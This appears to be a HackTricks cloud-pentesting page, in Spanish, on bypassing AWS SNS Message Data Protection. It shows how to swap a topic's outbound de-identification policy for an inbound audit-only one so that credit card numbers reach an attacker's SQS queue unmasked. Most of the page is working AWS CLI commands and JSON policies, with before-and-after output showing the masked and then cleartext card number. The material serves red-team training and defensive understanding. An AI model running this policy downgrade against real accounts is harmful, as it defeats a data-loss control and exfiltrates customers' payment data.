AWS - SNS Message Data Protection Bypass mediante degradación de la política

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Si tienes sns:PutDataProtectionPolicy sobre un topic, puedes cambiar su política de Message Data Protection de Deidentify/Deny a Audit-only (o eliminar los controles Outbound) para que valores sensibles (p. ej., números de tarjeta de crédito) se entreguen sin modificar a tu suscripción.

Requisitos

  • Permisos sobre el topic objetivo para ejecutar sns:PutDataProtectionPolicy (y normalmente sns:Subscribe si quieres recibir los datos).
  • Standard SNS topic (Message Data Protection soportado).

Pasos del ataque

  • Variables
REGION=us-east-1
  1. Crea un topic standard y una SQS del atacante, y permite solo a este topic enviar a la cola
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
  1. Adjunta una data protection policy que enmascare números de tarjeta de crédito en los mensajes salientes
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
  1. Suscribe la cola del atacante y publica un mensaje con un número de tarjeta de prueba, verifica el enmascaramiento
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Excerpt esperado muestra enmascaramiento (hashes):

"Message" : "payment:{cc:################}"
  1. Degradar la política a solo auditoría (sin declaraciones de deidentify/deny que afecten Outbound)

Para SNS, las declaraciones Audit deben ser Inbound. Reemplazar la política por una declaración Inbound de solo auditoría elimina cualquier de-identificación Outbound, por lo que los mensajes fluyen sin modificar hacia los suscriptores.

cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
  1. Publica el mismo mensaje y verifica que el valor sin enmascarar se entregue
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Expected excerpt shows cleartext CC:

4539894458086459

Impacto

  • Cambiar un topic de de-identification/deny a audit-only (o, de otro modo, eliminar los Outbound controls) permite que PII/secrets pasen sin modificar a attacker-controlled subscriptions, habilitando data exfiltration que de otro modo sería enmascarada o bloqueada.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks